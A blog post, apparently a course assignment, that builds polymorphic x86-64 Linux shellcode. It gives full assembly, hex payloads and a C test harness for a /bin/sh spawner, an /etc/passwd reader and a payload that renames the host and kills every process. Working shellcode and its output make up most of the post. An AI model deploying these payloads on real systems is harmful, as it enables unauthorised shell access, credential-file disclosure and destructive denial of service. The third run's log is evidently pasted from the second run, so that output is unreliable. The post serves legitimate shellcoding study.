This post introduces my 6th mission to my SLAE64 journey.
Some existing tools, such as ADMutate, will XOR-encrypt existing shellcode and attach loader code. This is useful, but writing polymorphic shellcodes without a tool is a much better learning experience.
There is a lot of overlap information with my post regarding the SLAE32 - Polymorphic Shellcode. I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.
Introduction
The SLAE32 6th assignment task is to select three shellcode payloads from the shell-storm and create polymorphic versions of them without increasing the size of the shellcode by more than 50%;
Bonus points if we can make it shorter in length compared to the original.
Shellcode 1 - execve(/bin/sh, [/bin/sh], NULL)
–
This shellcode was written by hophet
, and is located here. This shellcode calls execve sycall and executes /bin/sh
.
Size: 41 bytes
The original shellcode is in AT&T syntax but I’ll show in Intel syntax as it more intuite for me.
; [Linux/X86-64]
; Dummy for shellcode:
; execve("/bin/sh", ["/bin/sh"], NULL)
; hophet [at] gmail.com
_start:
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b ; execve(3b)
syscall
push 0x1
pop rdi
push 0x3c ; exit(3c)
pop rax
syscall
Let’s see what we can do here.
Polymorphic Version
_start:
xor rsi, rsi
mul rsi
mov r9, 0x68732f6e69622fff
shr r9, 0x8
mov [rsp-0x8], r9
lea rdi, [rsp-8]
add al, 0x3b ; execve(3b)
syscall
push 0x1
pop rdi
push 0x3c ; exit(3c)
pop rax
syscall
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/execve_bin_sh-76 ‹main●›
╰─$ ../../../assembler.sh poly_execve.nasm
[*] Compiling with NASM
[*] Linking
ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000
[*] Extracting opcodes
[*] Done
Shellcode size: 42
"\x48\x31\xf6\x48\xf7\xe6\x49\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe9\x08\x4c\x89\x4c\x24\xf8\x48\x8d\x7c\x24\xf8\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x48\x31\xf6\x48\xf7\xe6\x49\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe9\x08\x4c\x89\x4c\x24\xf8\x48\x8d\x7c\x24\xf8\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/execve_bin_sh-76 ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/execve_bin_sh-76 ‹main●›
╰─$ ./shellcode
Shellcode Length: 42
$ whoami
edu
$
Size: 42 bytes
Increased 1 byte which is more 2,4%
in size compared to the original.
Shellcode 2 - Read /etc/passwd
This shellcode was written by Mr.Un1k0d3r
, and is located here. This shellcode reads the /etc/passwd
file to stdout.
Size: 82 bytes
BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start
section .text
_start:
jmp _push_filename
_readfile:
; syscall open file
pop rdi ; pop path value
; NULL byte fix
xor byte [rdi + 11], 0x41
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDONLY flag
syscall
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
; syscall write to stdout
xor rdi, rdi
add dil, 1 ; set stdout fd = 1
mov rdx, rax
xor rax, rax
add al, 1
syscall
; syscall exit
xor rax, rax
add al, 60
syscall
_push_filename:
call _readfile
path: db "/etc/passwdA"
The shellcode has some tricks to use less space, but we can be even more “space friendly.” In the comments, we have the changed instructions below their polymorphic version.
Polymorphic Version
jmp _readfile
path: db 0x2f,0x65,0x74,0x63,0x2f,0x70,0x61,0x73,0x73,0x77,0x64
_readfile:
; syscall open file
;pop rdi ; pop path value
lea rdi, [rel path]
; NULL byte fix
;xor byte [rdi + 11], 0x41
shr byte [rdi+11], 8
;xor rax, rax
;add al, 2
push byte 0x2
pop rax
xor rsi, rsi ; set O_RDONLY flag
syscall
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rax, rax
cdq
mov dx, 0xfff; size to read
syscall
; syscall write to stdout
push byte 0x1 ; set stdout fd = 1
pop rdi
mov rdx, rax
push byte 0x1
pop rax
syscall
; syscall exit
push byte 60
pop rax
syscall
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/read_etc_passwd-878 ‹main●›
╰─$ ../../../assembler.sh poly_read_passwd.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 70
"\xeb\x0b\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x48\x8d\x3d\xee\xff\xff\xff\xc0\x6f\x0b\x08\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xc0\x99\x66\xba\xff\x0f\x0f\x05\x6a\x01\x5f\x48\x89\xc2\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x0b\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x48\x8d\x3d\xee\xff\xff\xff\xc0\x6f\x0b\x08\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xc0\x99\x66\xba\xff\x0f\x0f\x05\x6a\x01\x5f\x48\x89\xc2\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/read_etc_passwd-878 ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/read_etc_passwd-878 ‹main●›
╰─$ ./shellcode
Shellcode Length: 70
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:113:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:108:117:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:109:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:111:120::/var/lib/saned:/usr/sbin/nologin
colord:x:112:121:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
lightdm:x:114:122:Light Display Manager:/var/lib/lightdm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
edu:x:1000:1000:edu:/home/edu:/usr/bin/zsh
Size: 70 bytes
Reduced 12 bytes!!! This is a reduction of 14,6%
in size compared to the original.
I’ve made the same exercise for the 32bit version but I only could increase the code size. Having in the 64bit version less 14,6% is a real great achievement for me.
Shellcode 3 - setHostname() & killall
This shellcode was written by zbt
, and is located here. This shellcode sets the hostname to “Rooted !” and kills all the processes.
Size: 33 bytes
; sethostname("Rooted !");
; kill(-1, SIGKILL);
section .text
global _start
_start:
;-- setHostName("Rooted !"); 22 bytes --;
mov al, 0xaa
mov r8, 'Rooted !'
push r8
mov rdi, rsp
mov sil, 0x8
syscall
;-- kill(-1, SIGKILL); 11 bytes --;
push byte 0x3e
pop rax
push byte 0xff
pop rdi
push byte 0x9
pop rsi
syscall
Simple short shellcode without many room for improvements.
Polymorphic Version
; sethostname("Rooted !");
; kill(-1, SIGKILL);
section .text
global _start
_start:
;-- setHostName("Rooted !"); 22 bytes --;
sethostname:
xor rax, rax ; zeroing out rax
xor rsi, rsi
add al, 0xaa
mov r9, 0x21206465746F6F52 ; Rooted !
push r9
mov rdi, rsp
add sil, 0x8 ; and subing it down to 0x08
syscall
;-- kill(-1, SIGKILL); 11 bytes --;
xor rax, rax
add al, 0x3e
mov rdi, rax
sub rdi, 0x3f
inc rsi
syscall
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/setHostname_killall-605 ‹main●›
╰─$ ../../../assembler.sh poly_setHostaname_killall.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 46
"\x48\x31\xc0\x48\x31\xf6\x04\xaa\x49\xb9\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x51\x48\x89\xe7\x40\x80\xc6\x08\x0f\x05\x48\x31\xc0\x04\x3e\x48\x89\xc7\x48\x83\xef\x3f\x48\xff\xc6\x0f\x05"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xf6\x04\xaa\x49\xb9\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x51\x48\x89\xe7\x40\x80\xc6\x08\x0f\x05\x48\x31\xc0\x04\x3e\x48\x89\xc7\x48\x83\xef\x3f\x48\xff\xc6\x0f\x05";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/setHostname_killall-605 ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:8:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/read_etc_passwd-878 ‹main●›
╰─$ ./shellcode
Shellcode Length: 70
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
After executing the shellcode, we get logged out of the session, and the hostname is changed.
Size: 46 bytes
Increased 39,4%
, which reflects the additional 13 bytes.
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64